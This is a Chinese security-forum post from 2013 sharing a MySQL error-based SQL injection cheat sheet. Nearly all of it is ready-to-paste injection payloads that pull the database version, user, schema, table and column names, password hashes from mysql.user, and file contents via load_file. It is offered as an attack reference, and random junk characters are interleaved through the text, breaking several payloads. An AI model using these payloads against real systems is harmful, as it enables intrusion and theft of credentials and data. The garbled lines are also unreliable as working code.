找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2549|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
" A1 Q; H1 L( W- B6 S7 D
* I2 w6 S& }9 T5 y  l! i( r0 k' E  ]" G3 r6 N! b
Mysql暴错注入参考(pdf),每天一贴。。。
- F* K; A& X( e9 K
- i* j- Y4 Y0 P* x( N/ W2 NMySql Error Based Injection Reference
/ y# Y+ t* Q! l0 T3 V. E: Q[Mysql暴错注入参考]
7 X0 x  Z! U( D2 ~0 u9 ^* P: JAuthornig0s1992
! J: ?% M3 r8 ?  b3 `7 [Blog:http://pnig0s1992.blog.51cto.com/, j8 w! T! o, U# M
TeAm:http://www.FreeBuf.com/9 z9 K( D: S( D% M: }
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功- x1 o2 m) x8 |- S' a3 S2 Y
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
4 a- k1 q" c; a6 o" H查询版本:$ y' V" ~* r! S7 P: c
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+* e4 e' W% {# B  @
join+(select+name_const(@@version,0))b)c)
6 y' f2 @: g7 L! [$ sMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro+ K7 e& W0 U+ Z' M$ ^4 ]* l4 y
up by a)b)" u$ A7 n3 B, J$ Y% x: W: @5 i7 y
查询当前用户:5 P: a! A% F& ^% c
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)" T* ?7 H4 Y) m; e
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
/ Y6 ]# z7 w/ n2 [4 D$ M% Fand(0)*2))x+from+information_schema.tables+group+by+x)a)- i5 s# _" l. K; p
查询当前数据库:
8 }) S$ m1 o4 h5 z; HMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c); I" ~: j- P+ t3 ~6 R
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
! b3 z4 K3 C2 i0 y# l  Y5 P8 }or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
# U$ E. ]* o' |# x. }+ S依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+# w! c, V5 ~0 U: ?; Y" r  B
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n8 C! g7 s; A. P0 p& M% e
顺序替换9 N5 W. C6 K: d6 T6 [
爆指定库数目:
% P; b/ \8 Z% Hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
, y$ M/ i4 g0 J6 Yable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group. M$ L7 \, x; V8 f
+by+x)a)+and+1=1 0x6D7973716C=mysql
! }: o4 \+ j0 ?! C! {7 w+ B# u5 J% H依次爆表:( x* {$ H$ Y3 S1 S7 p9 N# K/ \
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
. N  w. r! K8 X8 |# D# Bable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
: j' E, n! ?3 q) L8 e2 X+ ibles+group+by+x)a)+and+1=1
1 ?) Z1 P* a: S7 l5 l" A) M0x6D7973716C=Mysql 将n顺序替换4 J& x7 h) g* V% k5 e
爆表内字段数目:+ `  _# B0 r  V6 [1 o1 a7 e' }, K2 a8 ^0 E
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
6 [% D2 Z' }' F. P+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran+ m6 H% Q3 u5 A. C, Q, M
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10 m- n! q& F, {7 T# J% V
依次爆字段:
. X" I% }8 w& T8 ?& M0 F( Vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
1 K7 n2 }- X2 y5 \& _- f( \% b+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
7 W& L/ z( s& Q- |8 S$ l* Aloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换3 |5 I$ B& c# r, E4 f/ l
依次暴内容:/ J0 l  |1 f+ I
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche+ @& U. ~: ~! M
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=11 x% g3 H! g  e0 r. n4 p
将n顺序替换" K6 E" F/ O' x2 a% R  V
爆文件内容:
2 K( n! c, i; I! v4 n3 y4 Rand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a. n  i' D. N. |0 a% ^! z
from+information_schema.tables+group+by+a)b)
+ w9 j8 G4 J5 c; z/ Y0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
4 z: K# W8 C/ P7 eThx for reading.: L' H/ m) `8 s& j* P

; q4 G7 G7 [$ G& m  H7 _1 B, L不要下载也可以,
$ _! d9 W) @1 W; ?$ b# T4 Q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表